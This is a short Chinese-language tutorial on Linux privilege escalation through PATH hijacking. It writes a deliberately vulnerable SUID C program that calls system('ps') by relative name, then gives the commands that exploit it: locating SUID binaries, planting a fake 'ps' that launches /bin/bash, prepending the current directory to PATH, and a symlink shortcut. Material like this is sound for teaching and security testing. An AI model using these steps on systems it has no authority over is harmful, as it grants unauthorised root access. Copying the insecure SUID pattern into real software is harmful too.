PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它会通过PATH变量来响应用户执行的命令,向shell发送请求以搜索可执行文件。超级用户通常还具有/ sbin和/ usr / sbin条目以便于执行系统管理命令。
SUID属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。
查看$PATH变量
fire@fire-Box:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
环境搭建
我们需要先生成一个具有SUID权限的程序,所以先编写一个c语言程序,代码如下:
#include
#include
int main(void)
{
setuid(0);
setgid(0);
system("ps");
return 0;
}
然后对其进行编译,并给编译出来的赋予SUID权限(chmod u+s pwn等同于chmod 4755 pwn)
开始提权
现在归结1种提权方法,就是修改环境变量调用 /bin/bahs 程序。下面来看具体操作:
find . -perm -u=s -type f 2>/dev/null # 在当前目录下查找具有SUID权限的可执行文件
echo "/bin/bash" > ps # 在当前目录下生成一个内容为 /bin/bash 的ps文件
chmod 777 ps # 给它可执行权限
echo $PATH # 查看当前环境变量
export PATH=.:$PATH # 将当前路径添加到环境变量中
./pwn # 执行具有SUID权限程序
首先我们使用 find . -perm -u=s -type f 2>/dev/null 在当前目录下查找具有SUID权限的可执行文件,我们找到了pwn。由于pwn程序调用了了系统的ps程序,所以我们要在当前目录下生成一个内容为 /bin/bash 的ps文件,并给它可执行权限,然后我们再把当前路径添加到环境变量中,这样做的目的就是然程序搜索ps程序的时候,先从当前目录开始搜索,这样就会搜索到我们生成的ps文件,从而执行 /bin/bash 程序,达到提权的目的。
我们还可以使用创建软链接的方式来替代上面的 echo "/bin/bash">ps && chmod 777 ps 命令,这种方式更快些。
ln -s /bin/bash ps
相关主题